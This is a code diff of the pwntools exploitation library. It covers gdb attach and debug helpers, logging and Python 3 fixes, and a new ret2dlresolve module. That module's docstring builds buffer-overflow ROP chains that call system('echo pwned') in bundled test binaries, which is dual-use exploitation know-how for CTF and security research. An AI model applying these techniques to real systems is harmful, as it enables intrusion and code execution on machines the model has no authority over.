env_args.append('{}={}'.format(key, env.pop(key)))
|
||||
if env_args:
|
||||
gdbserver_args += ['--wrapper', 'env'] + env_args + ['--']
|
||||
env_args.append('{}="{}"'.format(key, env.pop(key)))
|
||||
else:
|
||||
env_args.append('{}="{}"'.format(key, env[key]))
|
||||
gdbserver_args += ['--wrapper', 'env', '-i'] + env_args + ['--']
|
||||
|
||||
gdbserver_args += ['localhost:0']
|
||||
gdbserver_args += args
|
||||
@@ -261,7 +263,10 @@ def _gdbserver_port(gdbserver, ssh):
|
||||
'Failed to spawn process under gdbserver. gdbserver error message: %s' % process_created
|
||||
)
|
||||
|
||||
gdbserver.pid = int(process_created.split()[-1], 0)
|
||||
try:
|
||||
gdbserver.pid = int(process_created.split()[-1], 0)
|
||||
except ValueError:
|
||||
log.error('gdbserver did not output its pid (maybe chmod +x?): %s', six.ensure_str(process_created))
|
||||
|
||||
listening_on = b''
|
||||
while b'Listening' not in listening_on:
|
||||
@@ -300,8 +305,7 @@ def _get_runner(ssh=None):
|
||||
|
||||
@LocalContext
|
||||
def debug(args, gdbscript=None, exe=None, ssh=None, env=None, sysroot=None, **kwargs):
|
||||
r"""debug(args) -> tube
|
||||
|
||||
r"""
|
||||
Launch a GDB server with the specified command line,
|
||||
and launches GDB to attach to it.
|
||||
|
||||
@@ -354,9 +358,11 @@ def debug(args, gdbscript=None, exe=None, ssh=None, env=None, sysroot=None, **kw
|
||||
... break main
|
||||
... continue
|
||||
... ''')
|
||||
>>> # Send a command to Bash
|
||||
>>> io.sendline("echo hello")
|
||||
>>> io.recvline()
|
||||
b'hello\n'
|
||||
>>> # Interact with the process
|
||||
>>> io.interactive() # doctest: +SKIP
|
||||
>>> io.close()
|
||||
|
||||
@@ -371,9 +377,11 @@ def debug(args, gdbscript=None, exe=None, ssh=None, env=None, sysroot=None, **kw
|
||||
... break free
|
||||
... continue
|
||||
... ''')
|
||||
>>> # Send a command to Bash
|
||||
>>> io.sendline("echo hello")
|
||||
>>> io.recvline()
|
||||
b'hello\n'
|
||||
>>> # Interact with the process
|
||||
>>> io.interactive() # doctest: +SKIP
|
||||
>>> io.close()
|
||||
|
||||
@@ -381,7 +389,6 @@ def debug(args, gdbscript=None, exe=None, ssh=None, env=None, sysroot=None, **kw
|
||||
by using the ``ssh=`` keyword to pass in your :class:`.ssh` instance.
|
||||
|
||||
>>> # Connect to the SSH server
|
||||
|
||||
>>> # Start a process on the server
|
||||
>>> shell = ssh('travis', 'example.pwnme', password='demopass')
|
||||
>>> io = gdb.debug(['bash'],
|
||||
@@ -390,15 +397,13 @@ def debug(args, gdbscript=None, exe=None, ssh=None, env=None, sysroot=None, **kw
|
||||
... break main
|
||||
... continue
|
||||
... ''')
|
||||
|
||||
>>> # Send a command to Bash
|
||||
>>> io.sendline("echo hello")
|
||||
|
||||
>>> # Interact with the process
|
||||
>>> io.interactive() # doctest: +SKIP
|
||||
>>> io.close()
|
||||
"""
|
||||
if isinstance(args, (int, tubes.process.process, tubes.ssh.ssh_channel)):
|
||||
if isinstance(args, six.integer_types + (tubes.process.process, tubes.ssh.ssh_channel)):
|
||||
log.error("Use gdb.attach() to debug a running process")
|
||||
|
||||
if isinstance(args, (bytes, six.text_type)):
|
||||
@@ -457,7 +462,7 @@ def debug(args, gdbscript=None, exe=None, ssh=None, env=None, sysroot=None, **kw
|
||||
if not ssh and context.os == 'android':
|
||||
host = context.adb_host
|
||||
|
||||
attach((host, port), exe=exe, gdbscript=gdbscript, need_ptrace_scope = False, ssh=ssh, sysroot=sysroot)
|
||||
attach((host, port), exe=exe, gdbscript=gdbscript, ssh=ssh, sysroot=sysroot)
|
||||
|
||||
# gdbserver outputs a message when a client connects
|
||||
garbage = gdbserver.recvline(timeout=1)
|
||||
@@ -495,7 +500,7 @@ def binary():
|
||||
|
||||
if multiarch:
|
||||
return multiarch
|
||||
log.warn_once('Cross-architecture debugging usually requires gdb-multiarch\n' \
|
||||
log.warn_once('Cross-architecture debugging usually requires gdb-multiarch\n'
|
||||
'$ apt-get install gdb-multiarch')
|
||||
|
||||
if not gdb:
|
||||
@@ -505,9 +510,8 @@ def binary():
|
||||
return gdb
|
||||
|
||||
@LocalContext
|
||||
def attach(target, gdbscript = '', exe = None, need_ptrace_scope = True, gdb_args = None, ssh = None, sysroot = None):
|
||||
r"""attach(target, gdbscript = None, exe = None, arch = None, ssh = None) -> None
|
||||
|
||||
def attach(target, gdbscript = '', exe = None, gdb_args = None, ssh = None, sysroot = None):
|
||||
r"""
|
||||
Start GDB in a new terminal and attach to `target`.
|
||||
|
||||
Arguments:
|
||||
@@ -545,68 +549,62 @@ def attach(target, gdbscript = '', exe = None, need_ptrace_scope = True, gdb_arg
|
||||
|
||||
Examples:
|
||||
|
||||
>>> # Attach directly to pid 1234
|
||||
>>> gdb.attach(1234) # doctest: +SKIP
|
||||
Attach to a process by PID
|
||||
|
||||
>>> pid = gdb.attach(1234) # doctest: +SKIP
|
||||
|
||||
>>> # Attach to the youngest "bash" process
|
||||
>>> gdb.attach('bash') # doctest: +SKIP
|
||||
Attach to the youngest process by name
|
||||
|
||||
>>> pid = gdb.attach('bash') # doctest: +SKIP
|
||||
|
||||
>>> # Start a process
|
||||
>>> bash = process('bash')
|
||||
Attach a debugger to a :class:`.process` tube and automate interaction
|
||||
|
||||
>>> # Attach the debugger
|
||||
>>> pid = gdb.attach(bash, '''
|
||||
... set follow-fork-mode child
|
||||
... break execve
|
||||
... continue
|
||||
... ''')
|
||||
>>> io = process('bash')
|
||||
>>> pid = gdb.attach(io, gdbscript='''
|
||||
... call puts("Hello from process debugger!")
|
||||
... detach
|
||||
... quit
|
||||
... ''')
|
||||
>>> io.recvline()
|
||||
b'Hello from process debugger!\n'
|
||||
>>> io.sendline('echo Hello from bash && exit')
|
||||
>>> io.recvall()
|
||||
b'Hello from bash\n'
|
||||
|
||||
>>> # Interact with the process
|
||||
>>> bash.sendline("/bin/echo hello")
|
||||
>>> bash.recvline()
|
||||
b'hello\n'
|
||||
>>> bash.close()
|
||||
Attach to the remote process from a :class:`.remote` or :class:`.listen` tube,
|
||||
as long as it is running on the same machine.
|
||||
|
||||
>>> # Start a forking server
|
||||
>>> server = process(['socat', 'tcp-listen:12345,fork,reuseaddr', 'exec:/bin/bash,nofork'])
|
||||
>>> sleep(1)
|
||||
>>> server = process(['socat', 'tcp-listen:12345,reuseaddr,fork', 'exec:/bin/bash,nofork'])
|
||||
>>> sleep(1) # Wait for socat to start
|
||||
>>> io = remote('127.0.0.1', 12345)
|
||||
>>> sleep(1) # Wait for process to fork
|
||||
>>> pid = gdb.attach(io, gdbscript='''
|
||||
... call puts("Hello from remote debugger!")
|
||||
... detach
|
||||
... quit
|
||||
... ''')
|
||||
>>> io.recvline()
|
||||
b'Hello from remote debugger!\n'
|
||||
>>> io.sendline('echo Hello from bash && exit')
|
||||
>>> io.recvall()
|
||||
b'Hello from bash\n'
|
||||
|
||||
>>> # Connect to the server
|
||||
>>> io = remote('127.0.0.1', 12345)
|
||||
|
||||
>>> # Connect the debugger to the server-spawned process
|
||||
>>> pid = gdb.attach(io, '''
|
||||
... break exit
|
||||
... continue
|
||||
... ''', exe = '/bin/bash')
|
||||
|
||||
>>> # Talk to the spawned 'sh'
|
||||
>>> io.sendline("echo hello")
|
||||
>>> io.recvline()
|
||||
b'hello\n'
|
||||
>>> io.sendline("exit")
|
||||
|
||||
>>> io.close()
|
||||
|
||||
>>> # Connect to the SSH server
|
||||
>>> shell = ssh('travis', 'example.pwnme', password='demopass')
|
||||
|
||||
>>> # Start a process on the server
|
||||
>>> cat = shell.process(['cat'])
|
||||
|
||||
>>> # Attach a debugger to it
|
||||
>>> gdb.attach(cat, '''
|
||||
... break exit
|
||||
... continue
|
||||
... ''')
|
||||
|
||||
>>> cat.sendline("hello")
|
||||
>>> cat.recvline()
|
||||
b'hello\n'
|
||||
>>> # Cause `cat` to exit
|
||||
>>> cat.close()
|
||||
Attach to processes running on a remote machine via an SSH :class:`.ssh` process
|
||||
|
||||
>>> shell = ssh('travis', 'example.pwnme', password='demopass')
|
||||
>>> io = shell.process(['cat'])
|
||||
>>> pid = gdb.attach(io, gdbscript='''
|
||||
... call sleep(5)
|
||||
... call puts("Hello from ssh debugger!")
|
||||
... detach
|
||||
... quit
|
||||
... ''')
|
||||
>>> io.recvline(timeout=5) # doctest: +SKIP
|
||||
b'Hello from ssh debugger!\n'
|
||||
>>> io.sendline('This will be echoed back')
|
||||
>>> io.recvline()
|
||||
b'This will be echoed back\n'
|
||||
>>> io.close()
|
||||
"""
|
||||
if context.noptrace:
|
||||
log.warn_once("Skipping debug attach since context.noptrace==True")
|
||||
@@ -637,6 +635,9 @@ def attach(target, gdbscript = '', exe = None, need_ptrace_scope = True, gdb_arg
|
||||
if context.os == 'android':
|
||||
pre += 'set gnutarget ' + _bfdname() + '\n'
|
||||
|
||||
if exe:
|
||||
pre += 'file %s\n' % exe
|
||||
|
||||
# let's see if we can find a pid to attach to
|
||||
pid = None
|
||||
if isinstance(target, six.integer_types):
|
||||
@@ -675,8 +676,6 @@ def attach(target, gdbscript = '', exe = None, need_ptrace_scope = True, gdb_arg
|
||||
if shell.keyfile:
|
||||
cmd += ['-i', shell.keyfile]
|
||||
exefile = target.executable
|
||||
if six.PY3:
|
||||
exefile = exefile.decode()
|
||||
cmd += ['gdb -q %s %s -x "%s"' % (exefile,
|
||||
target.pid,
|
||||
tmpfile)]
|
||||
@@ -687,17 +686,24 @@ def attach(target, gdbscript = '', exe = None, need_ptrace_scope = True, gdb_arg
|
||||
elif isinstance(target, tubes.sock.sock):
|
||||
pids = proc.pidof(target)
|
||||
if not pids:
|
||||
log.error('could not find remote process (%s:%d) on this machine' %
|
||||
log.error('Could not find remote process (%s:%d) on this machine' %
|
||||
target.sock.getpeername())
|
||||
waiting = True
|
||||
if exe:
|
||||
while waiting:
|
||||
for pid in pids:
|
||||
if proc.exe(pid) == exe:
|
||||
waiting = False
|
||||
break
|
||||
else:
|
||||
time.sleep(0.01)
|
||||
pid = pids[0]
|
||||
|
||||
# Specifically check for socat, since it has an intermediary process
|
||||
# if you do not specify "nofork" to the EXEC: argument
|
||||
# python(2640)───socat(2642)───socat(2643)───bash(2644)
|
||||
if proc.exe(pid).endswith('/socat') and time.sleep(0.1) and proc.children(pid):
|
||||
pid = proc.children(pid)[0]
|
||||
|
||||
# We may attach to the remote process after the fork but before it performs an exec.
|
||||
# If an exe is provided, wait until the process is actually running the expected exe
|
||||
# before we attach the debugger.
|
||||
t = Timeout()
|
||||
with t.countdown(2):
|
||||
while exe and os.realpath(proc.exe(pid)) != os.realpath(exe) and t.timeout:
|
||||
time.sleep(0.1)
|
||||
|
||||
elif isinstance(target, tubes.process.process):
|
||||
pid = proc.pidof(target)[0]
|
||||
exe = exe or target.executable
|
||||
@@ -781,7 +787,7 @@ def attach(target, gdbscript = '', exe = None, need_ptrace_scope = True, gdb_arg
|
||||
|
||||
tmp.write(gdbscript)
|
||||
tmp.close()
|
||||
cmd += ' -x "%s"' % (tmp.name)
|
||||
cmd += ' -x %s' % (tmp.name)
|
||||
|
||||
log.info('running in new terminal: %s' % cmd)
|
||||
|
||||
@@ -945,13 +951,23 @@ def find_module_addresses(binary, ssh=None, ulimit=False):
|
||||
return rv
|
||||
|
||||
def corefile(process):
|
||||
r"""Drops a core file for the process.
|
||||
r"""Drops a core file for a running local process.
|
||||
|
||||
Note:
|
||||
You should use :meth:`.process.corefile` instead of using this method directly.
|
||||
|
||||
Arguments:
|
||||
process: Process to dump
|
||||
|
||||
Returns:
|
||||
:class:`.Core`: The generated core file
|
||||
|
||||
Example:
|
||||
|
||||
>>> io = process('bash')
|
||||
>>> core = gdb.corefile(io)
|
||||
>>> core.exe.name
|
||||
'/bin/bash'
|
||||
"""
|
||||
|
||||
if context.noptrace:
|
||||
@@ -971,7 +987,7 @@ def corefile(process):
|
||||
# This is effectively the same as what the 'gcore' binary does
|
||||
gdb_args = ['-batch',
|
||||
'-q',
|
||||
'--nx',
|
||||
'-nx',
|
||||
'-ex', '"set pagination off"',
|
||||
'-ex', '"set height 0"',
|
||||
'-ex', '"set width 0"',
|
||||
@@ -982,7 +998,14 @@ def corefile(process):
|
||||
with context.local(terminal = ['sh', '-c']):
|
||||
with context.quiet:
|
||||
pid = attach(process, gdb_args=gdb_args)
|
||||
os.waitpid(pid, 0)
|
||||
log.debug("Got GDB pid %d", pid)
|
||||
try:
|
||||
os.waitpid(pid, 0)
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
if not os.path.exists(corefile_path):
|
||||
log.error("Could not generate a corefile for process %d", process.pid)
|
||||
|
||||
return elf.corefile.Core(corefile_path)
|
||||
|
||||
|
||||
@@ -3,7 +3,10 @@ from pwnlib.tubes.process import process
|
||||
from time import sleep
|
||||
from sys import argv
|
||||
sleep(1)
|
||||
sh = process(argv[1], shell=True)
|
||||
if len(argv) == 2:
|
||||
sh = process(argv[1], shell=True)
|
||||
else:
|
||||
sh = process(argv[1:])
|
||||
sh.sendline('set prompt (gdb)')
|
||||
res = sh.sendlineafter('(gdb)', 'c')
|
||||
while b'The program is not being run.' not in res:
|
||||
|
||||
+1
-1
@@ -37,7 +37,7 @@ class PwntoolsLexer(RegexLexer):
|
||||
#: optional Comment or Whitespace
|
||||
string = r'"(\\"|[^"])*"'
|
||||
char = r'[\w$.@-]'
|
||||
identifier = r'(?:[a-zA-Z$_]' + char + '*|\.' + char + '+|or)'
|
||||
identifier = r'(?:[a-zA-Z$_]' + char + r'*|\.' + char + '+|or)'
|
||||
number = r'(?:0[xX][a-zA-Z0-9]+|\d+)'
|
||||
memory = r'(?:[\]\[])'
|
||||
bad = r'(?:\(bad\))'
|
||||
|
||||
+4
-4
@@ -46,7 +46,7 @@ def search_by_hash(hex_encoded_id, hash_type='build_id'):
|
||||
log.info_once("Using cached data from %r", cache)
|
||||
return cache
|
||||
else:
|
||||
log.info_once("Skipping unavialable libc %s", hex_encoded_id)
|
||||
log.info_once("Skipping unavailable libc %s", hex_encoded_id)
|
||||
return None
|
||||
|
||||
# Build the URL using the requested hash type
|
||||
@@ -164,7 +164,7 @@ def search_by_sha256(hex_encoded_id):
|
||||
def get_build_id_offsets():
|
||||
"""
|
||||
Returns a list of file offsets where the Build ID should reside within
|
||||
an ELF file of the currentlys-elected architecture.
|
||||
an ELF file of the currently selected architecture.
|
||||
"""
|
||||
# Given the corpus of almost all libc to have been released with
|
||||
# RedHat, Fedora, Ubuntu, Debian, etc. over the past several years,
|
||||
@@ -186,7 +186,7 @@ def get_build_id_offsets():
|
||||
return {
|
||||
# $ check_arch 80386
|
||||
# 181 Displaying notes found at file offset 0x00000174 with length 0x00000024:
|
||||
'i386': [0x174],
|
||||
'i386': [0x174, 0x1b4, 0x1d4],
|
||||
# $ check_arch "ARM, EABI5"
|
||||
# 69 Displaying notes found at file offset 0x00000174 with length 0x00000024:
|
||||
'arm': [0x174],
|
||||
@@ -197,7 +197,7 @@ def get_build_id_offsets():
|
||||
# $ check_arch "x86-64"
|
||||
# 6 Displaying notes found at file offset 0x00000174 with length 0x00000024:
|
||||
# 82 Displaying notes found at file offset 0x00000270 with length 0x00000024:
|
||||
'amd64': [0x270, 0x174, 0x2e0],
|
||||
'amd64': [0x270, 0x174, 0x2e0, 0x370],
|
||||
# $ check_arch "PowerPC or cisco"
|
||||
# 88 Displaying notes found at file offset 0x00000174 with length 0x00000024:
|
||||
'powerpc': [0x174],
|
||||
|
||||
+10
-3
@@ -98,6 +98,7 @@ import logging
|
||||
import os
|
||||
import random
|
||||
import re
|
||||
import six
|
||||
import sys
|
||||
import threading
|
||||
import time
|
||||
@@ -179,10 +180,13 @@ class Progress(object):
|
||||
self.rate = kwargs.pop('rate', 0)
|
||||
self._log(status, args, kwargs, 'status')
|
||||
# it is a common use case to create a logger and then immediately update
|
||||
# its status line, so we reset `last_status` to accomodate this pattern
|
||||
# its status line, so we reset `last_status` to accommodate this pattern
|
||||
self.last_status = 0
|
||||
|
||||
def _log(self, status, args, kwargs, msgtype):
|
||||
# Logs are strings, not bytes. Handle Python3 bytes() objects.
|
||||
status = six.ensure_text(status)
|
||||
|
||||
# this progress logger is stopped, so don't generate any more records
|
||||
if self._stopped:
|
||||
return
|
||||
@@ -279,11 +283,14 @@ class Logger(object):
|
||||
self._logger = logger
|
||||
|
||||
def _getlevel(self, levelString):
|
||||
if isinstance(levelString, int):
|
||||
if isinstance(levelString, six.integer_types):
|
||||
return levelString
|
||||
return logging._levelNames[levelString.upper()]
|
||||
|
||||
def _log(self, level, msg, args, kwargs, msgtype, progress = None):
|
||||
# Logs are strings, not bytes. Handle Python3 bytes() objects.
|
||||
msg = six.ensure_text(msg)
|
||||
|
||||
extra = kwargs.get('extra', {})
|
||||
extra.setdefault('pwnlib_msgtype', msgtype)
|
||||
extra.setdefault('pwnlib_progress', progress)
|
||||
@@ -650,7 +657,7 @@ log_file.setFormatter(logging.Formatter(fmt, iso_8601))
|
||||
# The root 'pwnlib' logger is declared here. To change the target of all
|
||||
# 'pwntools'-specific logging, only this logger needs to be changed.
|
||||
#
|
||||
# Logging cascades upward through the heirarchy,
|
||||
# Logging cascades upward through the hierarchy,
|
||||
# so the only point that should ever need to be
|
||||
# modified is the root 'pwnlib' logger.
|
||||
#
|
||||
|
||||
+6
-5
@@ -5,6 +5,7 @@ import ctypes
|
||||
import functools
|
||||
import string
|
||||
|
||||
import six
|
||||
from six.moves import range
|
||||
|
||||
from pwnlib.context import context
|
||||
@@ -63,7 +64,7 @@ class MemLeak(object):
|
||||
... if addr & 0xff == 0:
|
||||
... return None
|
||||
... return binsh[addr:addr+4]
|
||||
>>> leaker_nonulls.d(0) == None
|
||||
>>> leaker_nonulls.d(0) is None
|
||||
leaking 0x0
|
||||
True
|
||||
>>> leaker_nonulls[0x100:0x104] == binsh[0x100:0x104]
|
||||
@@ -155,17 +156,17 @@ class MemLeak(object):
|
||||
Arguments:
|
||||
address(int): Base address to calculate offsets from
|
||||
field(obj): Instance of a ctypes field
|
||||
expected(int,str): Expected value
|
||||
expected(int,bytes): Expected value
|
||||
|
||||
Return Value:
|
||||
The type of the return value will be dictated by
|
||||
the type of ``field``.
|
||||
"""
|
||||
if not isinstance(expected, (int, bytes)):
|
||||
raise TypeError("Expected value must be an int or bytes")
|
||||
|
||||
if isinstance(expected, int):
|
||||
if isinstance(expected, six.integer_types):
|
||||
expected = pack(expected, bytes=obj.size)
|
||||
elif not isinstance(expected, bytes):
|
||||
raise TypeError("Expected value must be an int or bytes")
|
||||
|
||||
assert obj.size == len(expected)
|
||||
|
||||
|
||||
@@ -109,8 +109,8 @@ class AdbClient(Logger):
|
||||
process(context.adb + ['start-server']).recvall()
|
||||
time.sleep(0.3)
|
||||
else:
|
||||
log.exception('Could not connect to ADB server (%s:%s)' % \
|
||||
(self.host, self.port))
|
||||
log.exception('Could not connect to ADB server (%s:%s)',
|
||||
self.host, self.port)
|
||||
|
||||
# Final attempt...
|
||||
if not self._c:
|
||||
@@ -462,14 +462,14 @@ class AdbClient(Logger):
|
||||
>>> expected = {'mode': 16749, 'size': 0, 'time': 0}
|
||||
>>> pwnlib.protocols.adb.AdbClient().stat('/proc') == expected
|
||||
True
|
||||
>>> pwnlib.protocols.adb.AdbClient().stat('/does/not/exist') == None
|
||||
>>> pwnlib.protocols.adb.AdbClient().stat('/does/not/exist') is None
|
||||
True
|
||||
"""
|
||||
if isinstance(path, six.text_type):
|
||||
path = path.encode('utf-8')
|
||||
self.c.flat32('STAT', len(path), path)
|
||||
if self.c.recvn(4) != b'STAT':
|
||||
self.error("An error occured while attempting to STAT a file.")
|
||||
self.error("An error occurred while attempting to STAT a file.")
|
||||
|
||||
mode = self.c.u32()
|
||||
size = self.c.u32()
|
||||
|
||||
+1
-1
@@ -243,7 +243,7 @@ def regsort(in_out, all_regs, tmp = None, xchg = True, randomize = None):
|
||||
# Collapse constant values
|
||||
#
|
||||
# For eaxmple, {'eax': 0, 'ebx': 0} => {'eax': 0, 'ebx': 'eax'}
|
||||
v_k = defaultdict(lambda: [])
|
||||
v_k = defaultdict(list)
|
||||
for k,v in sorted(in_out.items()):
|
||||
if v not in all_regs and v != 0:
|
||||
v_k[v].append(k)
|
||||
|
||||
+18
-5
@@ -9,6 +9,8 @@ from pwnlib.util import packing
|
||||
|
||||
import six
|
||||
|
||||
from pwnlib.util.misc import python_2_bytes_compatible
|
||||
|
||||
|
||||
class Unresolved(object):
|
||||
"""
|
||||
@@ -55,6 +57,8 @@ class StackAdjustment(Unresolved):
|
||||
"""
|
||||
pass
|
||||
|
||||
|
||||
@python_2_bytes_compatible
|
||||
class AppendedArgument(Unresolved):
|
||||
"""
|
||||
Encapsulates information about a pointer argument, and the data
|
||||
@@ -166,7 +170,7 @@ class AppendedArgument(Unresolved):
|
||||
for i, value in enumerate(self.values):
|
||||
if isinstance(value, six.integer_types):
|
||||
rv[i] = value
|
||||
if isinstance(value, str):
|
||||
if isinstance(value, six.text_type):
|
||||
value = context._encode(value)
|
||||
if isinstance(value, (bytes, bytearray)):
|
||||
value += b'\x00'
|
||||
@@ -177,6 +181,7 @@ class AppendedArgument(Unresolved):
|
||||
if isinstance(value, Unresolved):
|
||||
rv[i] = value.address
|
||||
rv.extend(value.resolve())
|
||||
assert rv[i] is not None
|
||||
|
||||
return rv
|
||||
|
||||
@@ -185,8 +190,6 @@ class AppendedArgument(Unresolved):
|
||||
|
||||
def __bytes__(self):
|
||||
return packing.flat(self.resolve())
|
||||
if six.PY2:
|
||||
__str__ = __bytes__
|
||||
|
||||
def __repr__(self):
|
||||
if isinstance(self.address, six.integer_types):
|
||||
@@ -218,8 +221,8 @@ class Call(object):
|
||||
#: Arguments to the call
|
||||
args = []
|
||||
|
||||
def __init__(self, name, target, args, abi=None):
|
||||
assert isinstance(name, str)
|
||||
def __init__(self, name, target, args, abi=None, before=()):
|
||||
assert isinstance(name, (bytes, six.text_type))
|
||||
# assert isinstance(target, six.integer_types)
|
||||
assert isinstance(args, (list, tuple))
|
||||
self.abi = abi or ABI.default()
|
||||
@@ -229,6 +232,7 @@ class Call(object):
|
||||
for i, arg in enumerate(args):
|
||||
if not isinstance(arg, six.integer_types+(Unresolved,)):
|
||||
self.args[i] = AppendedArgument(arg)
|
||||
self.stack_arguments_before = before
|
||||
|
||||
def __repr__(self):
|
||||
fmt = "%#x" if isinstance(self.target, six.integer_types) else "%r"
|
||||
@@ -236,6 +240,15 @@ class Call(object):
|
||||
self.name,
|
||||
fmt % self.target,
|
||||
self.args)
|
||||
|
||||
@property
|
||||
def register_arguments(self):
|
||||
return dict(zip(self.abi.register_arguments, self.args))
|
||||
|
||||
@property
|
||||
def stack_arguments(self):
|
||||
return self.args[len(self.abi.register_arguments):]
|
||||
|
||||
@classmethod
|
||||
def _special_repr(cls, x):
|
||||
if isinstance(x, AppendedArgument):
|
||||
|
||||
@@ -1,4 +1,5 @@
|
||||
# -*- coding: utf-8 -*-
|
||||
import six
|
||||
|
||||
class Gadget(object):
|
||||
"""
|
||||
@@ -54,12 +55,12 @@ class Gadget(object):
|
||||
|
||||
def __getitem__(self, key):
|
||||
# Backward compatibility
|
||||
if isinstance(key, int):
|
||||
if isinstance(key, six.integer_types):
|
||||
key = self.__indices[key]
|
||||
return getattr(self, key)
|
||||
|
||||
def __setitem__(self, key, value):
|
||||
# Backward compatibility
|
||||
if isinstance(key, int):
|
||||
if isinstance(key, six.integer_types):
|
||||
key = self.__indices[key]
|
||||
return setattr(self, key, value)
|
||||
@@ -0,0 +1,368 @@
|
||||
r"""
|
||||
Provides automatic payload generation for exploiting buffer overflows
|
||||
using ret2dlresolve.
|
||||
|
||||
We use the following example program:
|
||||
|
||||
::
|
||||
|
||||
#include <unistd.h>
|
||||
void vuln(void){
|
||||
char buf[64];
|
||||
read(STDIN_FILENO, buf, 200);
|
||||
}
|
||||
int main(int argc, char** argv){
|
||||
vuln();
|
||||
}
|
||||
|
||||
We can automate the process of exploitation with these some example binaries.
|
||||
|
||||
>>> context.binary = elf = ELF(pwnlib.data.elf.ret2dlresolve.get('i386'))
|
||||
>>> rop = ROP(context.binary)
|
||||
>>> dlresolve = Ret2dlresolvePayload(elf, symbol="system", args=["echo pwned"])
|
||||
>>> rop.read(0, dlresolve.data_addr) # do not forget this step, but use whatever function you like
|
||||
>>> rop.ret2dlresolve(dlresolve)
|
||||
>>> raw_rop = rop.chain()
|
||||
>>> print(rop.dump())
|
||||
0x0000: 0x80482e0 read(0, 0x804ae00)
|
||||
0x0004: 0x80484ea <adjust @0x10> pop edi; pop ebp; ret
|
||||
0x0008: 0x0 arg0
|
||||
0x000c: 0x804ae00 arg1
|
||||
0x0010: 0x80482d0 [plt_init] system(0x804ae24)
|
||||
0x0014: 0x2b84 [dlresolve index]
|
||||
0x0018: b'gaaa' <return address>
|
||||
0x001c: 0x804ae24 arg0
|
||||
>>> p = elf.process()
|
||||
>>> p.sendline(fit({64+context.bytes*3: raw_rop, 200: dlresolve.payload}))
|
||||
>>> p.recvline()
|
||||
b'pwned\n'
|
||||
|
||||
You can also use ``Ret2dlresolve`` on AMD64:
|
||||
|
||||
>>> context.binary = elf = ELF(pwnlib.data.elf.ret2dlresolve.get('amd64'))
|
||||
>>> rop = ROP(elf)
|
||||
>>> dlresolve = Ret2dlresolvePayload(elf, symbol="system", args=["echo pwned"])
|
||||
>>> rop.read(0, dlresolve.data_addr) # do not forget this step, but use whatever function you like
|
||||
>>> rop.ret2dlresolve(dlresolve)
|
||||
>>> raw_rop = rop.chain()
|
||||
>>> print(rop.dump())
|
||||
0x0000: 0x400593 pop rdi; ret
|
||||
0x0008: 0x0 [arg0] rdi = 0
|
||||
0x0010: 0x400591 pop rsi; pop r15; ret
|
||||
0x0018: 0x601e00 [arg1] rsi = 6299136
|
||||
0x0020: b'iaaajaaa' <pad r15>
|
||||
0x0028: 0x4003f0 read
|
||||
0x0030: 0x400593 pop rdi; ret
|
||||
0x0038: 0x601e48 [arg0] rdi = 6299208
|
||||
0x0040: 0x4003e0 [plt_init] system
|
||||
0x0048: 0x15670 [dlresolve index]
|
||||
>>> p = elf.process()
|
||||
>>> p.sendline(fit({64+context.bytes: raw_rop, 200: dlresolve.payload}))
|
||||
>>> if dlresolve.unreliable:
|
||||
... p.poll(True) == -signal.SIGSEGV
|
||||
... else:
|
||||
... p.recvline() == b'pwned\n'
|
||||
True
|
||||
"""
|
||||
|
||||
import six
|
||||
from copy import deepcopy
|
||||
|
||||
from pwnlib.context import context
|
||||
from pwnlib.log import getLogger
|
||||
from pwnlib.util.packing import *
|
||||
from pwnlib.util.misc import align
|
||||
|
||||
log = getLogger(__name__)
|
||||
|
||||
ELF32_R_SYM_SHIFT = 8
|
||||
ELF64_R_SYM_SHIFT = 32
|
||||
|
||||
class Elf32_Rel(object):
|
||||
''
|
||||
"""
|
||||
.. code-block:: c
|
||||
|
||||
typedef struct elf32_rel {
|
||||
Elf32_Addr r_offset;
|
||||
Elf32_Word r_info;
|
||||
} Elf32_Rel;
|
||||
"""
|
||||
size=1 # see _build_structures method for explanation
|
||||
def __init__(self, r_offset=0, r_info=0):
|
||||
self.r_offset = r_offset
|
||||
self.r_info = r_info
|
||||
|
||||
def __flat__(self):
|
||||
return p32(self.r_offset) + p32(self.r_info)
|
||||
|
||||
def __bytes__(self):
|
||||
return self.__flat__()
|
||||
|
||||
|
||||
class Elf64_Rel(object):
|
||||
''
|
||||
"""
|
||||
.. code-block:: c
|
||||
|
||||
typedef struct elf64_rel {
|
||||
Elf64_Addr r_offset;
|
||||
Elf64_Xword r_info;
|
||||
} Elf64_Rel;
|
||||
"""
|
||||
size=24
|
||||
def __init__(self, r_offset=0, r_info=0):
|
||||
self.r_offset = r_offset
|
||||
self.r_info = r_info
|
||||
|
||||
def __flat__(self):
|
||||
return p64(self.r_offset) + p64(self.r_info) + p64(0)
|
||||
|
||||
def __bytes__(self):
|
||||
return self.__flat__()
|
||||
|
||||
|
||||
class Elf32_Sym(object):
|
||||
''
|
||||
"""
|
||||
.. code-block:: c
|
||||
|
||||
typedef struct elf32_sym{
|
||||
Elf32_Word st_name;
|
||||
Elf32_Addr st_value;
|
||||
Elf32_Word st_size;
|
||||
unsigned char st_info;
|
||||
unsigned char st_other;
|
||||
Elf32_Half st_shndx;
|
||||
} Elf32_Sym;
|
||||
"""
|
||||
size = 16
|
||||
def __init__(self, st_name=0, st_value=0, st_size=0, st_info=0, st_other=0, st_shndx=0):
|
||||
self.st_name = st_name
|
||||
self.st_value = st_value
|
||||
self.st_size = st_size
|
||||
self.st_info = st_info
|
||||
self.st_other = st_other
|
||||
self.st_shndx = st_shndx
|
||||
|
||||
def __flat__(self):
|
||||
return p32(self.st_name) + \
|
||||
p32(self.st_value) + \
|
||||
p32(self.st_size) + \
|
||||
p8(self.st_info) + \
|
||||
p8(self.st_other) + \
|
||||
p16(self.st_shndx)
|
||||
|
||||
def __bytes__(self):
|
||||
return self.__flat__()
|
||||
|
||||
|
||||
class Elf64_Sym(object):
|
||||
''
|
||||
"""
|
||||
.. code-block:: c
|
||||
|
||||
typedef struct elf64_sym {
|
||||
Elf64_Word st_name;
|
||||
unsigned char st_info;
|
||||
unsigned char st_other;
|
||||
Elf64_Half st_shndx;
|
||||
Elf64_Addr st_value;
|
||||
Elf64_Xword st_size;
|
||||
} Elf64_Sym;
|
||||
"""
|
||||
size=24
|
||||
def __init__(self, st_name=0, st_value=0, st_size=0, st_info=0, st_other=0, st_shndx=0):
|
||||
self.st_name = st_name
|
||||
self.st_value = st_value
|
||||
self.st_size = st_size
|
||||
self.st_info = st_info
|
||||
self.st_other = st_other
|
||||
self.st_shndx = st_shndx
|
||||
|
||||
def __flat__(self):
|
||||
